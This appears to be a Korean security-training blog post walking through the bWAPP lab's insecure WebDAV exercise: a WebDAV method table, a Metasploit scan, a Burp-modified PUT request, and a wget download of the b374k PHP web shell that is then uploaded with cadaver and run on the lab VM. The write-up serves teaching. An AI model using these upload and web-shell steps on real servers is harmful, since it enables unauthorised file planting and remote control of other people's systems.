정보보안(구버전)/ bWAPP 2019. 2. 16. 13:13
웹 해킹 bWAPP - 73. A5 - Security Misconfiguration - Insecure WebDAV Configuration
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Security Misconfiguration
- OWASP Top10 A5 - 잘못된 보안 구성
- 서버/시스템/DB/네트워크 장비/웹 설정 요류로 인하여 발생하는 취약점이다.
- Ex) 디렉토리 리스팅, 에러페이지, 웹페이지 주석, 웹서버 기본 설정, Adobe Flash 취약점, DoS/DDos 공격,
특정 서비스에 대한 Reverse_TCP 공격, 로컬 권한 취약점, 백업/임시/robots 파일
2. WebDAV
- HTTP 환경에서 웹-서버 파일 조회, 송수신, 수정, 삭제, 이동이 가능한 FTP와 비슷한 서비스이다.
- WebDAV에서는 HTTP 메소드 이외에 추가된 메소드가 있다.
메소드 |
내용 |
GET |
리소스를 취득할때 사용한다. URL 형식으로 웹서버로 리소스를 요청한다. |
HEAD |
메세지 헤더 정보만 취득할때 사용한다. |
POST |
내용을 URL 형식으로 전송하는 것이라 아니라 Body에 내용을 포함시켜서 전송한다. |
PUT |
헤더 이외에 메세지(파일)를 전송할 수 있다. 즉, 웹서버에 파일을 전송할 수 있다. |
DELETE |
파일 삭제 및 웹 리소스를 삭제한다. |
OPTIONS |
서버가 지원하는 메소드를 질의하여 응답으로 받아온다. |
TRACE |
요청 리소스가 수신되는 경로를 확인할때 사용한다. |
CONNECT |
프락시 서버와 같은 중간 서버를 경유할때 사용한다. |
PROPFIND |
웹 파일 목록과 속성을 조회할때 사용한다. |
PROPPATCH |
하나의 리소스에 대한 속성을 변경할때 사용한다. |
MKCOL |
신규 디렉토리/폴더를 생성할때 사용한다. |
COPY |
리소스와 파일을 복사할때 사용한다. |
MOVE |
리소스와 파일을 이동할때 사용한다. |
LOCK |
리소스와 파일이 overwrite되는 기능을 on 할때 사용한다. |
UNLOCK |
리소스와 파일이 overwrite되는 기능을 off 할때 사용한다. |
3. Insecure WebDAV Configuration
- 'PUT' 메소드를 이용하여 WebDAV에 악의적인 파일을 업로드하는 취약점을 갖고 있다.
- 업로드된 파일(악성코드, 백도어, 랜섬웨어...)을 다른 사용자가 클릭하게 되면 문제가 발생할 수 있다.
bee@bee-box:/var/www/bWAPP$ cd /etc/apache2/
bee@bee-box:/etc/apache2$ ls -l httpd.conf
-rw-r--r-- 1 root root 226 2013-12-17 00:04 httpd.conf
bee@bee-box:/etc/apache2$ vi httpd.conf
ExtendedStatus On
# Allows WebDAV, not secure!!! :q! |
bee@bee-box:/etc/apache2$ ls /var/www/bWAPP/documents
bWAPP_intro.pdf Terminator_Salvation.pdf The_Cabin_in_the_Woods.pdf The_Incredible_Hulk.pdf
Iron_Man.pdf The_Amazing_Spider-Man.pdf The_Dark_Knight_Rises.pdf
4. Security Misconfiguration - Insecure WebDAV Configuration
- 이 시나리오는 bWAPP에 WebDAV 기능이 활성화되어 있기 때문에 이를 이용하여 디렉토리 검색 및 악의적인 파일을
업로드하는 내용이다.
Ex1) Security Misconfiguration - Insecure WebDAV Configuration 이해 I
보안 레벨 선택 및 시나리오 선택
메타스플로잇을 이용하여 WebDAV 스캐닝 실시
root@kali:~# msfconsole -q
[*] 192.168.20.205 (Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g) WebDAV disabled.
|
'WebDAV' 버튼 클릭 또는 'http://192.168.20.205/webdav' 접속 실시
/webdav 안에 있는 파일 확인
Intercept -> 'Intercept is on' 으로 변경 실시
버프슈트 Intercept 내용 확인
PUT 메소드 변경 및 Body 내용 추가
GET /webdav/ HTTP/1.1 <- 기존 내용 PUT /webdav/cisco.txt HTTP/1.1 <- 변경 내용
Host: 192.168.20.205 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.20.205/bWAPP/sm_webdav.php Cookie: security_level=0; PHPSESSID=1f1a2b0da13f8be69cc75be882319eed Connection: close Upgrade-Insecure-Requests: 1
cisco1234 <- 추가 내용 |
PUT 메소드 변경 및 Body 내용 확인 -> 'Forward' 버튼 클릭
'Intercept is on'를 클릭하여 off 실시
'Intercept is off' 확인
'WebDAV' 버튼 클릭
'cisco.txt' 파일 업로드 결과 확인 및 클릭
PUT 메소드로 전송된 Body 내용 확인
Ex2) Security Misconfiguration - Insecure WebDAV Configuration 이해 II
- 구글에서 'bk374k' 검색를 검색하여 'b374k' 웹쉘 다운로드 실시
73-0. b374k-3.2.2.php 다운로드.txt
'b374k' 웹쉘 다운로드 실시
root@kali:~# wget https://raw.githubusercontent.com/tennc/webshell/master/php/b374k/b374k-3.2.2.php
b374k-3.2.2.php 100%[=================>] 216.83K 1.27MB/s in 0.2s 2019-02-20 09:38:27 (1.27 MB/s) - ‘b374k-3.2.2.php’ saved [222039/222039]
root@kali:~# ls |
'cadaver' PUT 메소드를 이용하여 /webdav에 'b374k' 웹쉘 업로드 실시
root@kali:~# cadaver http://192.168.20.205/webdav |
'WebDAV' 버튼 클릭
'b374k' 파일 업로드 결과 확인 및 클릭
패스워드(b374k) 입력 및 엔터
b374k 웹쉘 실행 완료 (Explorer 환경 또는 Terminal 환경 사용 가능)
업로드 파일 삭제 실시
bee@bee-box:/etc/apache2$ cd /var/www/bWAPP/documents bee@bee-box:/var/www/bWAPP/documents$ rm b374k-3.2.2.php
bWAPP_intro.pdf Terminator_Salvation.pdf The_Cabin_in_the_Woods.pdf The_Incredible_Hulk.pdf |
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 73. A5 - bWAPP Security Misconfiguration - Insecure WebDAV Configuration https://youtu.be/6WQiALz16HQ